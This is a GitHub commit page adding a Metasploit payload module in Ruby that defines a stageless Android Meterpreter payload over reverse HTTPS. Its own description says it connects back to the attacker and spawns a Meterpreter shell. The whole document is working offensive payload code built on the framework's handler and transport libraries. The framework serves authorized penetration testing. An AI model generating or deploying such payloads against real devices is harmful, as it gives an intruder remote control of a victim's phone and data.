Skip to content

Commit 0cec4be

Browse files
authored
Android Stageless Meterpreter over HTTPS
Change to add functionality for stateless meterpreter over HTTPS
1 parent cab19dc commit 0cec4be

File tree

1 file changed

+57
-0
lines changed

1 file changed

+57
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_https'
8+
require 'msf/core/payload/transport_config'
9+
require 'msf/core/payload/android'
10+
require 'msf/core/payload/uuid/options'
11+
require 'msf/base/sessions/meterpreter_android'
12+
require 'msf/base/sessions/meterpreter_options'
13+
require 'rex/payloads/meterpreter/config'
14+
15+
module MetasploitModule
16+
17+
CachedSize = :dynamic
18+
19+
include Msf::Payload::TransportConfig
20+
include Msf::Payload::Single
21+
include Msf::Payload::Android
22+
include Msf::Payload::UUID::Options
23+
include Msf::Sessions::MeterpreterOptions
24+
25+
26+
def initialize(info = {})
27+
28+
super(merge_info(info,
29+
'Name' => 'Android Meterpreter Shell, Reverse HTTPS Inline',
30+
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
31+
'License' => MSF_LICENSE,
32+
'Platform' => 'android',
33+
'Arch' => ARCH_DALVIK,
34+
'Handler' => Msf::Handler::ReverseHttps,
35+
'Session' => Msf::Sessions::Meterpreter_Java_Android,
36+
'Payload' => '',
37+
))
38+
register_options([
39+
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
40+
], self.class)
41+
end
42+
43+
#
44+
# Generate the transport-specific configuration
45+
#
46+
def transport_config(opts={})
47+
transport_config_reverse_https(opts)
48+
end
49+
50+
def generate_jar(opts={})
51+
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
52+
opts[:uri] = generate_uri_uuid_mode(:connect, uri_req_len)
53+
opts[:stageless] = true
54+
super(opts)
55+
end
56+
57+
end

0 commit comments

Comments
 (0)